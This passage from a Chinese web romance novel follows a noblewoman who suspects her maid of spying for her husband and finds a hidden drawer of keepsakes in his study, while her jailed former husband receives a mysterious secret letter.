人的言语措辞可以信手拈来,眼神却不好隐藏情绪。 以前她在卫府管家的时候,查账也经常会看着对方的眼睛,看看对方是否躲闪说谎。 两人对视了一会,沈景湛抬手摩挲她的侧脸,又抚了抚她的长发。 “” 沈景湛的确还有事情要忙,他抱着祝吟鸾上了床榻,吻了吻她的眉心,让她先睡。 等沈景湛走了之后,祝吟鸾才想起来,她还有事情没问,卫如琢既然已经快要得到处决,那祝家呢? 可如今他在忙三省的事情,祝吟鸾也就没有起来,太尉被问责,沈景湛作为他曾经的关门弟子,当然也难辞其咎,否则陛下也不会让他去肃查此案了。 祝吟鸾脑海当中翻来覆去想着这些事情,迷迷糊糊入了梦乡。 书房之内,姣惠跟沈景湛回禀了今日发生的事情。 他边听边翻阅着手上的青简,眉头微微皱起,“你确定除此之外,没有什么异常?” “是,没有什么异常。”姣惠道。 沈景湛翻阅的动作停下,他看着不远处被灯罩笼护,依然防不住风吹而摇曳的烛火。 总感觉,有什么事情在冥冥之中脱离了他的掌控,却又无从抓起。 难道真的是她的身子骨不舒坦? “这些时日你多多看顾着少夫人。”沈景湛吩咐。 “是。”姣惠端着茶水退出。 “大人,需不需要增派人手在院落周围?”属下看出沈景湛的担忧,询问道。 沈景湛却摇头,“暂时不用。”按兵不动再看看,妄动只会打草惊蛇。 姣惠不防在外面撞到了起夜的明芽。 姣惠被吓了一跳,连忙端稳手里的东西,笑着问,“明芽姐姐,你今日不守夜,怎么起来了?” 明芽揉着眼睛,“我就是起来方便一下,又想喝碗水,我怎么瞧着你是往世子爷的书房出来?” 姣惠一向连内室都不怎么伺候,怎么会从书房出来? 明芽方才还以为自己看走眼了,沈景湛的书房怎么会有小丫鬟走出来。 她甚至怀疑是不是有小丫鬟趁着祝吟鸾不注意,企图上位勾引。 定睛一看,居然是姣惠。 “适才世子爷身旁的人使唤我去端茶,说是世子爷要喝,我沏好茶送进去就出来了。”姣惠听着明芽的话,断定她没有亲眼见到沈景湛跟她说话。 “原来如此,你累不累,若是累了,我换你守夜,你去歇歇?” “我不困,明芽姐姐休息吧,明日你还要伺候小姐。” 明芽对姣惠还是比较放心的,叮嘱她注意身子骨,便回了。 人走之后,姣惠松了一口气。 “” 熏香里面添了安神香,祝吟鸾这一夜歇得还算是安稳,并没有梦魇。 说来也是奇怪,自从她身怀有孕之后,便很少梦到之前昳丽的梦境了,那个男人也没有出现,也是从她和沈景湛说开之后。 翌日,沈景湛陪着她在院落单独用早膳。 太医过府上来的时候,沈夫人也到了。 问祝吟鸾怎么样,是不是昨日看账累到了? 祝吟鸾连忙说没有,刚要解释,沈景湛却已经接了她的话茬,帮祝吟鸾回话,“母亲,只是正常瞧瞧脉象,鸾儿一切安好。” “原来如此。”沈夫人勉强安心,听到这边找太医,她的心都悬了起来。 祝吟鸾肚子里的孩子可不能有丝毫的意外。 把脉之后,太医说祝吟鸾的身子骨安好,只是不宜多思乱想。 祝吟鸾总感觉太医后面这句话仿佛有弦外之音。 往前的时候,太医可从来不会这么说的,只说胎象平稳,叮嘱吃食,怎么忽然就说让她不要多思胡想? 莫不是沈景湛叮嘱太医的?她在心里琢磨。 “可听清太医的叮嘱了?往后不要再去看账本了,等你出了月子有多少看不得。” 沈夫人不清楚祝吟鸾心里在想什么,也不知道她和沈景湛两人都在想什么,毕竟两人整日里就是蜜里调油,能有什么事。 只以为祝吟鸾昨日非要过去看账本,是担心没有了参与管家的权利。 为了安定祝吟鸾的心思,沈夫人才变相说了后面这一句话,瞧着祝吟鸾也不是个笨的,应当能够领略她的心思吧? 祝吟鸾点头应好。 下意识抬眼瞧了沈景湛一下,他听着太医的叮嘱,随后亲自送太医出去,姿态一派闲适优雅。 沈夫人跟祝吟鸾说着话,留意到她在看沈景湛,倒是没有说什么。 沈老太太知道这边请了太医,也打发人来问。 得知没事,送了一些燕窝来,让祝吟鸾炖了吃,还说吃完了接着去跟她拿。 今儿有太医上门,沈夫人都不叫她出门了,只让她还剩歇息静养。 “这些时日家里过来的人多,仔细冲撞了你的肚子,若有贵客提前来访,我再使唤小丫鬟过来叫你,一来方便你认人,二来陪着说话也能解解闷。” 主要还是认人。 祝吟鸾也清楚沈夫人是在给她抬身份,如今她为长房世子少夫人,将来便是侯夫人,多数人不配她与之交集,沈夫人在替她筛选着圈子。 “劳烦母婆母您费心了。”祝吟鸾抿唇笑。 这时候沈景湛送了太医折返,沈夫人率先离开。 “夫君今日不去官署忙碌么?”见他坐下,拉着她的手,摩挲着手背,似乎要长留在此,祝吟鸾忍不住问了一句。 “鸾儿不想我在家中陪你?” “想。”祝吟鸾略是羞赧,“可我不愿意耽误夫君办公务。” “怕你在家中闷坏了。” “家中幽静,我不觉得闷。”沈家比卫家要好太多了。 她的确是不觉得闷。 “果真?”沈景湛跟她说着话。 “嗯。”祝吟鸾点头, “我不觉得闷。” “只是” “只是什么?”他牵着她的手,摩挲手背还不够,忍不住捏了捏。 “只是小姑即将出嫁,我能不能过去陪她?”她要去探探沈蔻玉的话。 说不定能够从沈蔻玉那边得到什么消息呢? 奉安公主一直在沈家,那就不是一个安分的主儿,沈景湛想了想,“小妹那边喧闹,仆妇丫鬟进进出出,鸾儿忘了太医说的,你要静养,待过些时日再去吧。” 沈景湛这句话算是拒绝了,祝吟鸾也不能说什么,只好点头,“嗯” 他曲起指骨,刮了刮她挺俏的鼻梁骨,“委屈鸾儿了。” 祝吟鸾摇头,“不委屈。” 能有什么委屈的,无非就是在家中静养而已。 但她总觉得沈景湛似乎害怕她出门。 是的,不想要她和奉安公主接触,现如今就连沈蔻玉都开始防备上了。 “不高兴了?”见到她不说话。 沈景湛越发离她近了一些,伸手去捏她的面颊。 男人的指腹粗粝温凉,还有些许淡淡的清冽香味。 “待姚家的事情处理完,陛下能准几日恩假,我在家陪你,那时候鸾儿的身子骨也差不离稳了下来,或许还能出去游湖赏荷。” “我能出门吗?”祝吟鸾意外。 自从回门之后,以极快的速度有了身孕,她基本就没有离开过沈家。 “说什么傻话,自然是可以。”他捏了捏她的雪白的腮,很像一个面粉团子,嫩滑无比。 “嗯,那我等夫君恩假。” 听着沈景湛的口风,姚家似乎难以周全脱身了,她没有过多追问,毕竟跟她没有关系。 沈景湛临出门之前,给她掖了掖被褥,俯身吻了吻她的额头,又用鼻尖蹭了蹭她。 原本只是一触即离,但闻到她身上的香软,他的大掌拐顺到她的后颈,将她整个人带起来了一些,低头就这么吻了下去。 祝吟鸾意识到沈景湛要吻她,心里虽然已经做好了准备,可真当沈景湛吻下来的时候,整个人还是忍不住轻颤了,尤其是她的睫毛抖得十分厉害。 主子两人在亲密,旁边的小丫鬟们连忙低头退远了一些。 祝吟鸾是要推开他的,毕竟在青天白日之下,怎么可以做这样的事情,万一传扬出去,更何况沈夫人方才走,谁能够确定她会不会回来? 万一要是回来看见,岂不是很尴尬么? 可小丫鬟们退出去,她又被沈景湛提抱到怀中吻。 他的吻落下之后便长驱直入,压根就没有给她喘息之机。 他的身躯高大,俯身压下来,给人十足十的压迫感,她仿佛要被他吃干抹净了。 沈景湛卷着她柔软的舌头亲,将她逼得四处闪躲,他还是不肯放松,就这么追逐着她,吻着她。 两人在无形当中互相嬉戏。 沈景湛吻得深入,看起来有些许凶,内室自然也就响起两人接吻的声音。 祝吟鸾始终有所保留和躲闪,却没有想到这样的娇,越发惹得他得寸进尺。 已经不是吻了,而是吃。 胡吟鸾接吻换气的节奏已经在无形之间渐渐赶不上沈景湛。 可他的大掌又按着她的后脑勺,根本就不叫她脱离,脱离都困难,更不要提说话了。 祝吟鸾觉得自己都快要喘不上气了,她的两只手横在中间,阻隔着沈景湛的靠近,抵触着他宽厚.硬朗的胸膛。 但也没有什么用,因为她推不开沈景湛,若是他伸手,捏着她的两只手腕,就可以轻而易举将她整个人给完完全全的制服,压在身下。 就当祝吟鸾准备轻咬沈景湛阻止他的时候,他松开了她。 不过就是吻了一小会,祝吟鸾却觉得仿佛吻了许久,她整个人大口呼吸。 垂眸看下去,唇瓣已经肿了,“” 她的呼吸起伏。 “鸾儿把我的衣襟捏得很皱。” 祝吟鸾这时候顺着看去,的确如同沈景湛所说,他的衣角不知在何时被她捏得皱巴巴的,可祝吟鸾分明记得,她捏的不是沈景湛的衣角,而是被褥。 可定睛一看,的确就是他的衣角。 她连忙松开,“对、对不起。” “我我重新叫人给夫君换一身衣衫。” “没事。”沈景湛按着她的手腕,叫她不必动身起来。 “我自己去换。” 祝吟鸾没有说话,就是这么看着他。 说是去换,根本就没有换,可沈景湛出来的时候,祝吟鸾留意到还是原来的那一身。 但是原来的衣角已经捋平了,若是不细看,根本就瞧不出来原本的痕迹。 旁人或许不知道,祝吟鸾却觉得心知肚明,尤其是瞧见上面没有彻底被捋平的皱纹,不可避免想起缠人猛烈的亲吻。 “夫君不是说换衣衫么?怎么没有换,还是我去帮夫君” 说着说着她躲避着沈景湛的目光正要起来,却又被他给按了回去。 “是我临时更改主意,不想要换了,鸾儿不必起来。” “做什么不换?”若是被人瞧见了岂非不好。 他仿佛清楚她的心中所想,安慰着她,“鸾儿放心,不会有人瞧见,我会当心一些。” “之所以更改主意不换,是因为方才与鸾儿亲近,这衣衫留下了鸾儿身上的味道,所以我不想换。” 祝吟鸾,“”脸上的红润好不容易降下去,又因为沈景湛这一句话给热了起来。 她清咳一声,别过小脸,“青天白日,夫君不要乱说话,若是被人给听见了不好。” “什么不好?”男人仿佛不懂,认真跟着她发起疑问。 祝吟鸾噎了一下,他当真是不清楚什么地方不好么? “鸾儿怎么话只说一半?” “就是就是你不要总说黏糊糊的话,叫小丫鬟们听去,有损你中书大人,世子爷的威严和名声。” “怎么会呢,鸾儿多虑了。” 他说着话,弯下腰来,祝吟鸾以为他又要亲他,整个人在床榻之上无处可躲,便只能捂住她自己的嘴。 从根本上面防护,不叫沈景湛亲她。 可她的动作行径又把男人给惹笑了,他凑近,大掌揉了揉她的脑袋,将她黏在脸上的乌发给顺到耳朵后面去。 祝吟鸾的心跳加剧,男人看着她的眼睛,对着她笑,明明就是在故意逗弄她。 他问道,“我并不打算做什么,反倒是鸾儿,你以为我要做什么?” 他居然还在逗弄她。 祝吟鸾忍不住抿唇,嘴上不好说些什么,眼神却已经含着幽幽怨怨瞪了过去。 沈景湛又笑,他碰碰她的乌发,“鸾儿歇一会,起来用午膳,今日朝廷忙碌,我恐不得空回来陪你,你一个人用膳没胃口,就去找祖母一道用。” 他细细叮嘱着。 祝吟鸾也随之点头,“嗯。” 沈景湛走后,明芽进来伺候。 祝吟鸾重新梳妆打扮。 期间,明芽跟她说起昨日晚上发生的事情。 祝吟鸾一愣,“你没瞧错吗?” “是啊。”明芽确认自己没有瞧错。 就是姣惠。 “小姐您担心姣惠?”明芽见祝吟鸾眉头紧皱。 祝吟鸾摇头,“不是……” 她担心的不是姣惠“企图”勾引沈景湛,因为她确信姣惠不会这样做。 她怀疑的是,姣惠跟沈景湛之间…… 有没有一种可能,她会不会是沈景湛派过来监视她的人? 如今想想,沈景湛的话有漏洞,方种月的话有猫腻,姣惠何尝不是呢?其实她很多地方也透露着古怪。 只因为姣惠到她身边来,有些年头了,她很信任,从来没有怀疑过,倘若不是这些时日发觉不对,又听明芽这么说,她是完全不会怀疑到姣惠的头上。 先前只是觉得那个医馆有古怪,毕竟是姣惠带着她去的。在那个医馆,她撞到沈景湛… 现如今沉下心思细想,还有一些古怪的地方。 除医馆之外的事情,姣惠还“撺掇”她和离呢,和离的时候提到的人,也是沈景湛。 当初她被卫家人祝家人逼得四面楚歌要找沈景湛,所托付的人也是姣惠。 一开始,姣惠跟她说没有把握能够找到沈景湛。 可当她走投无路之时,姣惠又把消息给带过来了,一切都无比巧合。 她那时候琐事缠身,十分信任姣惠,根本就没有怀疑过她,别说怀疑了,甚至都没有细问,姣惠到底是怎么找到沈景湛的?又是怎么收到信的? 姣惠虽然有些门路,可沈景湛是什么人,他是朝廷命官,御前红人,且不说行踪不定,他去哪走哪,定然刻意隐藏行踪,姣惠若是真的那么厉害,一开始也不至于卖身葬父了吧? 不单单是这样,祝吟鸾还想起沈景湛跟她求娶之后发生的事情,那时候她纠结 着要不要跟明芽与姣惠说,最后还是跟姣惠说了。 姣惠跟她说了一句话。 她说,其实她不嫁给沈景湛为妻,沈景湛必然也会庇护她。 那时候她不认为姣惠的话有什么古怪。 只觉得姣惠话语之所以如此笃定,都因为姣惠觉得沈景湛人好。 可如今发觉了猫腻,冥冥之中,她觉得不是这样了。 姣惠当时言辞那般认真,或许不是因为沈景湛的人品,而是故意的呢?就像是方种月那般,故意说给她听呢? “小姐,您面色如此凝重,若不是放心不下姣惠,那因为什么?” 直接跟明芽说怕是不行了。 若姣惠真的是沈景湛身边的人,那……一切恐怕没有那么简单。 找别人留意姣惠,必然不妥,只有让明芽。 不如就以此为借口,让明芽暗中留意姣惠的一举一动? 反正两人天天都在一处,有了这番说辞,明芽也不会起疑。 明芽是她陪嫁的人,陪了她很久很久,知根知底,她自然不担心。 “嗯,我实话与你说,的确是有一些放心不下。”祝吟鸾顺着她的话,摆出担忧的样子。 她甚少撒谎,明芽又留意她的反应,祝吟鸾还真是害怕被她给发现。 幸而明芽没有起疑,只是说觉得姣惠老实,忠心于她,跟在她身边很多年了,不会背叛她的。 “人不可貌相。”祝吟鸾如此道,“你是跟着我出嫁的人,我自然是信任你,但……” 祝吟鸾接着胡说八道,她抿唇,“但你也知道夫君他是人中龙凤,难免会有人心思不正,我不得不多为自己考虑些。” “而且我刚嫁进来没多久,这身上就有了,几房的叔叔婶婶们都想要往我这边塞人伺候夫君,外头人都挡住了,身边的人更要注意。” “那句话怎么说的?日防夜防家贼难防,明芽,你能明白我的意思吗?姣惠看起来的确是老实,我也不希望她有那样的心思。” “为了我们之间的主仆情义,不得不这样做。” 不枉费祝吟鸾长篇大论,总算是说动了明芽。 她没有再劝祝吟鸾,反而觉得她说得对,是应该防着一些。 “小姐你放心,奴婢往后一定会暗中盯着姣惠和世子爷的动向,看看她有没有蓄意接近。” 祝吟鸾点头,“你不要叫姣惠发觉,除此之外,你也瞧着姣惠往日里都做些什么,跟什么人往来,又说了什么,都跟我说。” “好。”明芽点头。 吩咐下去之后,祝吟鸾勉强安心了些。 祝吟鸾今日不打算出门,出了院子走不了多久便能够听到不远处的吵嚷声。 过几日就是沈蔻玉出嫁的日子了,时日说慢,却也过得很快。 世事无常,去年的她哪里能够想到,现如今居然会怀着沈景湛的骨肉呢? 晨起晴空万里,午膳过后,罕见的开始落起雨来。 这雨来势汹汹,下得很大。 祝吟鸾看着外面的瓢盆大雨,仆妇指着小丫鬟们撑伞把庭院当中的珍稀花植给抱到廊下,以免被打坏了。 富贵人家的一草一木都是无比昂贵的。 一盆洛阳牡丹,春剑兰花,罕见绿菊,足以抵平民之家几年的吃食。 祝吟鸾原本想歇息,但昨日睡得实在太好,没有睡意,她索性起来做针线,先前她跟沈景湛换物件赠沈蔻玉。 他帮她搜罗了一个玉鞭,她给他裁了一身衣衫,是绛紫色的锦袍。 沈景湛十分喜欢。 刚怀孕时闲来无事,她说再给他做几身,他怕她累,说针线活费眼睛,不叫她弄,因而她便只能偷偷的。 今日落雨,做做针线活也好。 没一会,祝吟鸾起来活络眼睛,外面的雨没有停,只能在院子里转。 不知不觉,竟然走到了沈景湛的书房。 旁边把守的侍卫朝她请安,并未阻拦她,不允许她进。 书房是沈景湛处理公务的地方,可想而知的重要。 她往日里不会来的。 以前在卫家,卫如琢不允许小丫鬟进入他的书房,说里面有重要的公文,害怕遗失,疑惑着被窥窃。 祝吟鸾有眼力见,卫如琢都那么说了,她自然也不敢进去。 嫁到沈家来之后,这边的小丫鬟也不入沈景湛的书房,自然她也“避忌”。 今日却是巧打误撞。 外面的人不拦,想必是得了沈景湛的默许。 祝吟鸾便在书房里随意转了转。 沈景湛的书房宽大,甚至可以和内室相比了,博古架上塞满了青简,手札等物,各类典籍书册数不胜数。 书案也宽大,桌上的物件摆放井井有条,笔墨纸砚一一陈列,器物玉瓷也有,只是没放太多。 祝吟鸾原本只是简略看看就出去了,却被书案下方,压塞在小几底下的抽屉吸引了目光。 这个抽屉很隐蔽,之所以吸引她,是因为它完全不像是一个抽屉,但又的的确确是个抽屉。 这种巧妙的抽屉,她在闺中瞧的杂书上面看过。 表面没做抽屉扣,只雕刻了纹路,实际上有个暗格,只要按下去,就能够打开。 原以为不会有人做这样的抽屉,不曾想在沈景湛的书房里面见了。 若是不懂行的人,只会以为它就是个装点的刻纹而已。 祝吟鸾好奇这暗格抽屉是不是跟书上的一致,她半蹲下去看了一下。 凑近了看,这雕刻的纹路比书上画的还要精致细腻。 许是因为雕在小叶檀木上,凑近了闻,还能够闻到木材的淡淡香气。 真的很漂亮,祝吟鸾忍不住伸手轻微触碰感受到它的纹路。 她碰得很轻柔,也避开了书上所记载暗格的位置,却在收手之时触碰边沿促使抽屉弹开了。 祝吟鸾惊诧,“……” 这暗格跟书上所写的位置居然不一样?或许是沈景湛改了吧?凭他的能力,这根本就不算什么难事。 她不想探寻沈景湛的抽屉里放了什么,正要寻找暗格把它关上。 可就在无意之间,扫眼而过的同时,看到了里面存放的东西。 是……一个一眼看去便知道归属女子所用的荷包珠坠链子。 只不过,这荷包坠珠链,怎么那么眼熟? 第72章 第72章夺妻之恨,不共戴天!…… 祝吟鸾被熟悉的物件吸引,目光便下意识停留住了。 这样的荷包坠珠链,似乎她也有,只不过她今日没有佩戴在身上,否则还可以当面对比一番。 但她的记性一向不错,荷包坠珠链子很少有人用,一般都是珞穗,所以她一眼就可以认出来。 看了一会,她发现这个荷包坠珠链子,跟她所有的几乎是一模一样的。 除此之外,这个荷包坠珠链看起来并不崭新,仿佛已经被人使用过了,既然是用过的东西,又归属于女子私物。他怎么会私藏起来?还藏得那么隐蔽。 她在想,这是不是沈景湛喜欢的女子所喜欢的东西? 今日临出门之前,沈景湛还跟她吻得难舍难分,恨不得生吞活剥了她,至今为止,她甚至都觉得他的气息萦绕在身侧,还能够感受到他在她唇齿之间搅弄风云的动作。 转过头,就在他的书房当中发现了姑娘家的用物,怎么能够不失落伤心。 祝吟款捏着抽屉边沿的手忍不住抓紧了。 “……” 之前沈景湛不是说自从她出嫁以后,便已经断了念想,放下她了吗?怎么还偷偷藏着她的东西? 祝吟鸾霎时间觉得难受。 沈景湛是不是又骗她了? 若是真的放下了,为何要留着过去的物件东西?还藏在了书房最隐蔽最深处?是忘记清理还是怎么的? 越想越是觉得难受,祝吟鸾害怕自己在书房之内展露出情绪,使劲缓和着。 可意识到这件事情后,她怎么都无法平复下来。 意识到不能再看,可她还是没有办法收回目光,视线始终定格在暗格抽屉里的东西之上。 似乎想要“以毒 攻毒”才能够彻底放下,所以一直盯着。 看久了,她发现了更多的东西。 这个坠珠的边沿光亮,仿佛被人时常拿在手上摩挲一般,否则不可能如此滑亮有光泽。 再见串坠的红线都起毛边了,变相印证了祝吟鸾心里的想法。 他根本就没有放下吧,否则不可能时常看了。 祝吟鸾的心里生出了两股念头正在交织打架。 一股是幽怨酸涩,她计较着被沈景湛放在心上的人,甚至有些嫉妒,沈景湛收藏着她的东西还经常拿出来观看,已经足够说明了,的的确确放不下“她”。 另外一股却是强颜欢笑的大度,不断在心里跟她申诉提醒道,谁没有过去啊?她曾经还嫁给卫如琢四年多了呢? 沈景湛有过去,她也有过去,这一切都是正常的。 两人都有过去,她也不应该计较他的事情。快点关上吧,偷看别人的私隐本来就不好。 可渐渐的,那股幽怨酸涩的念头打败了强颜欢笑的大度。 因为这些时日沈景湛总是跟她蜜里调油,一口一个鸾儿,他表露着对她的关怀,她的爱意,一直对她亲近。 眼前他收藏的东西,祝吟鸾只觉得是一种背叛。 她心里升起来的幽怨难以消解。 她想要知道被沈景湛久久放在心上的人究竟是谁啊? 到底是谁,让他这么放不下。 都过这么久了,她的肚子里都有他的孩子了。 是忘记丢掉有关那个人的东西,还是根本就舍不得丢掉。 外面传来小丫鬟说话的声音,是在跟明芽说,雨水下得太快太急,还是有来不及搬走的花卉打坏了一些,问明芽怎么办? 祝吟鸾回神了一些,她害怕这时候明芽进来书房找她,松开了紧紧捏着抽屉边沿的手,想要把抽屉给关上。 一时之间忘记了这是个精巧的抽屉,寻常的往里面推根本不管用,反而把抽屉给带出来了一些。 除了这个坠珠链子,祝吟鸾还看到一锭银子。 怎么还有银子? 同荷包坠珠链子放在一处,莫不是那姑娘的东西么? 有关这锭银钱,祝吟鸾暂且看不出来什么门道。 但是很快,她又发现了新的东西,整个人的目光彻底被吸引了,心也跳得特别快。 因为抽屉打开得太大了,里面的东西往外掉下来。 荷包坠珠链子和银钱下面压着……似乎是画像? 因为宣纸罩遮在上面,一开始她并没有发现宣纸下面还压着东西。 露出了半边,她方才知道似乎是画像。 是那名女子的画像吗? 祝吟鸾的心跳得无比厉害,她感觉自己在窥探沈景湛的秘密。 她的手已经伸过去了,可快要触碰到宣纸边沿之际,祝吟鸾猛然打了一个冷颤,她的手顿住了,往回缩了一些。 不行,怎么可以? 她怎么能够探看沈景湛的东西,这些都是过去的事情了,便是他放不下,也是独属于他这个人的秘密。 既然是秘密,自然是不愿意让人知道的,更何况她也有自己的秘密,不能够叫沈景湛知道。 思来想去,祝吟鸾还是克制住了。 说不上是胆怯害怕知道是谁而令她自卑抑或着别的什么。 总之,她还是迈不出这一步。 祝吟鸾深呼吸一口气,缓缓将所有的东西摆正,小心翼翼关上了抽屉,将一切恢复原样,任何细节她都留意了,确保沈景湛不会发现。 祝吟鸾半蹲了好一会,等到彻底将脸上的情绪恢复正常,她才从沈景湛的书房离开。 明芽在外面迎上她,跟她说廊下的花打坏了,又问她晚膳想用些什么,厨娘们准备着。 下这样大的雨水,沈景湛想必是不会回来用晚膳了吧?更何况,白日里他还嘱咐她了。 祝吟鸾面上的情绪收拾好了,心里的却没有,她没有胃口,又害怕不吃被看出破绽,抿出一抹笑告诉明芽,让小厨房的人看着弄便好。 晚膳祝吟鸾吃得少了一些,明芽一直让她多吃乌鸡,连连舀了好几碗汤,祝吟鸾都喝不下。 这雨从午后到用了晚膳都没有停,沈景湛的人倒是提前来传话了,让她自己先休息,今日公务多,不用等他。 暂时不用面对他倒是挺好,她的心里油煎似的难受,就因为看到了那些东西。 祝吟鸾忽然觉得她自己变得小气起来。 即便是面对卫如琢,知道卫如琢和长姐之间有往来她都没有这样。 现如今沈景湛和那个不知名的女子也没什么事,只是偷偷藏了对方的一些东西而已,她就难受得心里翻覆。 这不是小气,这是什么? 今日他或许真的很忙,沐浴之后听着外面的雨声,沈景湛始终没有回来。 没有睡意的,岂止是祝吟鸾一个人。 大理寺收监的地方,卫如琢狼狈坐在湿透的茅草堆上,衣衫边角被勾破了,褴褛得像是一个乞丐,冷风从四周窜过来,冷得他打颤,他孤身坐着。 他没想到,已经是夏日了,夜雨下雨竟然都能够那么冷,几乎要冷到他的骨头里面去,冷得他牙根打颤。 不仅如此,他也怎么都想不到,自己居然落得那么一个下场。 捅他一刀,将他彻底推入悬崖深渊的,还是他的生父。 居然是他的亲生父亲啊…… 真是可笑。 他从未想过防备,甚至一直在维护的人,就这么舍弃了他。 难道就因为父亲刚回京城的时候彼此闹翻了脸,有了新儿子,又因为他损了身骨,所以他的父亲卫籍便弹劾.折.弄了他吗? 就因为那么一件事情? 可卫如琢觉得这一切都没那么简单,这其中一定隐藏着什么阴谋。 就像是他的身子骨异样,一定和沈景湛有关系! 如果不是沈景湛要跟他抢祝吟鸾,这一切根本不会变成这样,他不会那么快跌落,成为阶下囚。 到底是什么地方出了差错? 他的父亲毫无征兆在朝堂之上跟他翻了脸,明明临出府门之前都还好好的,甚至还在叮嘱他别担心,说什么卫家一定会渡过这道劫难。 原来保住卫家的诀窍,就是舍弃他啊! 卫如琢的拳头捏得骨节泛白,咯吱作响,可怜他居然相信了他的父亲。 这其中的鬼,不是沈景湛就是礼部尚书马其昌,一定是这两个人的其中之一要害他。 他原本清清白白,倘若不是马其昌让他去办那些事情,帮他解决了那么多的麻烦,现如今也不会双手都是麻烦。 拿不到礼部尚书之位就算了,甚至还为骆家扶持上去的人做了嫁衣,这让他怎么接受? 马其昌跟他玩狡兔死走狗烹的路子,他也不会让他好过的。 还有沈景湛…… 夺妻之恨,不共戴天! 他一定要见到祝吟鸾。 想到祝吟鸾,他是恨的,但又不可避免,十分不争气的想到她曾经在面对他时的温言细语,觉得后悔,无尽的后悔。 倘若是祝吟鸾陪伴在他的身边,她不会放弃他。 因为她从来不会对他不耐,任何时候都无尽的包容,永远设身处地为他着想。 当初若是听她的,谨言慎行一些,没有在.操.办庆功的席面之上大放厥词,也不可能会有后来的事情。 即便是发生了这样的事情,他不要去借着祝家的势力,攀附礼部尚书马其昌,没有搭上马其昌的贼船,他也就不会成为马其昌处理麻烦的替死鬼。 现如今马其昌倒是卸磨杀驴做得特别好,居然跟陛下陈情说,他的那些麻烦事情都是子虚乌有,全都是他卫如琢自作主张惹出来又处理的,跟他没有丝毫的关系。 礼部尚书的晋选已经结束,骆家人上位,马其昌.联.合他的同僚们把所有的脏水泼到他的身上,他入狱了,马其昌反而安安稳稳致仕了? 现如今他走投无路,被至亲至人背弃,不仅仅是卫家的弃子,更是所有人的弃子。 就连他的母亲,为了保全在卫家唯一的正妻位置,也没有替他辩解了。 父亲?母亲?呵呵呵呵……… 思及此,卫如琢听着雷声雨声,忍不住仰头自嘲笑出声来,他的眼角流露出泪,愤恨的泪。 他不甘心! 他就算是死也不会甘心。 明日大理寺提审,他一定会把所有的人都给拉下水。 祝家,骆家,马家,连带着沈家,谁都别想好过。 话是这么说,他手上的证据不多,不知道能不能够为自己博得一线生机,他只知道他不想死,他还没有见到祝吟鸾,他不想死。 不论祝吟鸾有没有参与这一切,他都要见到她,要问她。 他不相信祝吟鸾嫁给他的那四年,全都是虚情假意,毕竟他感受到了她对他的真诚托付。 倘若她没有跟沈景湛一起骗他,那就是最好,他不能让祝吟鸾蒙在鼓里,被沈景湛欺骗。 现如今,他还不知道能不能见到她。 想到她曾经依偎靠在他的身侧,顺滑如水的长发披散在后背,一派乖怜的样子,他的心里说不出来的难受。 在闭上眼的那一瞬间,卫如琢攥紧到极致的拳头最后还是松开了。 他的眼角有一滴眼泪滑落,但是眼里的愤恨和不甘不减,并且越来越浓烈。 转眼之间,他听到了靠近的脚步声。 卫如琢瞬间警惕起来,他开始怀疑,是不是有人要杀人灭口? 毕竟来人的脚步刻意放轻了下来,况且此刻早就过了探.监送饭的时辰,狱卒们根本不会过来,到底是谁? 没一会,脚步声越来越近,停在对面,卫如琢抬眼看去。 是披着斗篷的黑衣人,蒙着脸,压根就看不清楚,所以他也无从分辨究竟是谁派来的人。 要杀他? 卫如琢悄无声息摸向旁边,想要看看有没有趁手的武器。 可是牢房当中只有枯草,他四处搜寻,总算是找到了一块石头。 对方只用一根铁丝便打开了牢房,然后走进来。 脚步声轻到没有。 卫如琢正要动手抢占先机,对方却停了下来,目光扫过他攥着石头的手,然后先开口道,“卫大人,我们大人派我来给你送生机。” 生机? 谁知道是死路,还是生机? 卫如琢现下谁都不相信,“你是谁的人?” “我们大人,你日后自然会见到,如今还不是相见的时候。”对方的声音沉冷,能够轻而易举进入大理寺,绝非等闲之辈。 这时候一道惊雷劈下来,印出对方的黑影,在潮湿森冷的牢房当中,活像是鬼影。 “你不说你是谁的人,我如何信你送来的是生机?”卫如琢脑中飞速运转,猜想究竟是谁的人? 可是他绞尽脑汁都没有办法想清楚,这究竟是谁的人。 要说礼部尚书马其昌,那也不可能,马其昌不可能在这个关头派人过来。 就算是派人过来,也一定是了结他,而不是给他送生机。 除了马其昌,其余的骆家和祝家,都一定很害怕跟他扯上关系,而不是来保他。 或许……是沈景湛的人? 沈景湛老谋深算,指不定用什么生机来套他呢? 沈景湛才是藏得最深的人,现如今除却他的身子骨以外,几乎没有人知道沈景湛对他下套了,把他的手伸到了卫家。 “大人眼下还有别的路可以走吗?”对方似乎一点也不担忧他会不会答应。 卫如琢的眼睛眯了起来。 不等他回话,对方丢掷了一个东西过来,他伸手接下的同时,对方的身影消失了,牢房居然在顷刻之间恢复了原样。 卫如琢低头看着手里的东西,是一封密函。 他起初还特别警惕,可打开看了之后,眼底渐渐浮现出癫狂的笑意,手指也攥紧了这封密函。 “……” 祝家近些月萧条了不少,原本门庭若市,现如今冷清得不像话。 朱夫人病了,被吓病的,祝沉檀在她床榻边沿伺候。 今日吃了药,她坐起来,问祝沉檀,“你父亲呢?” “父亲和哥哥在书房商讨对策,求人保全祝家,母亲还是不要起来了,您的身子骨不好,郎中说了少折腾。” 朱夫人病去如抽丝气,全凭汤药吊着一口气,“我……我睡不着,你父亲和你哥哥有没有想到什么对策了,有没有谁接祝家的帖子,沈家呢?” 祝沉檀,“……没有。”根本没有人接祝家的帖子,沈家? 沈家倒是过去了,祝大人和祝鸣生都去了,但是沈家的人居然说,若是祝家不想死得太快,最好审时度势,最好不要再上祝家的门。 从那以后,祝家哪里还敢去攀沈家? “那怎么办啊?” 朱夫人开始哭起来,短短几个月,朱夫人就仿佛老了好几岁,鬓边都开始有白发了,人也瘦弱不少。 祝沉檀不知道怎么安慰她,给她拍着后背,哄了一两句。 “你让你哥哥来见我。”朱夫人道。 “哥哥晨起时来过,母亲那会子睡着,哥哥又离开了,我正要跟您说呢。” 其实祝鸣生是来看她的,居然问起她的婚事,祝沉檀不懂他的意思,问他,他却说没什么。 祝鸣生走后,祝沉檀的心里始终不安定。 她总觉得有什么事情要发生,但又说不上来。 想要跟朱氏说,但她的身子骨又不行了,前些时日为祝家的事情四处奔波,受气受多了,又听说卫家的事情,一口气没喘上来,当日就病了。 若是说了,又让她忧心不已怎么办? 说来说去,都是祝吟鸾那个小.贱.人的错。 如今她是辉煌了,高高在上,娘家人出事,全然不管。 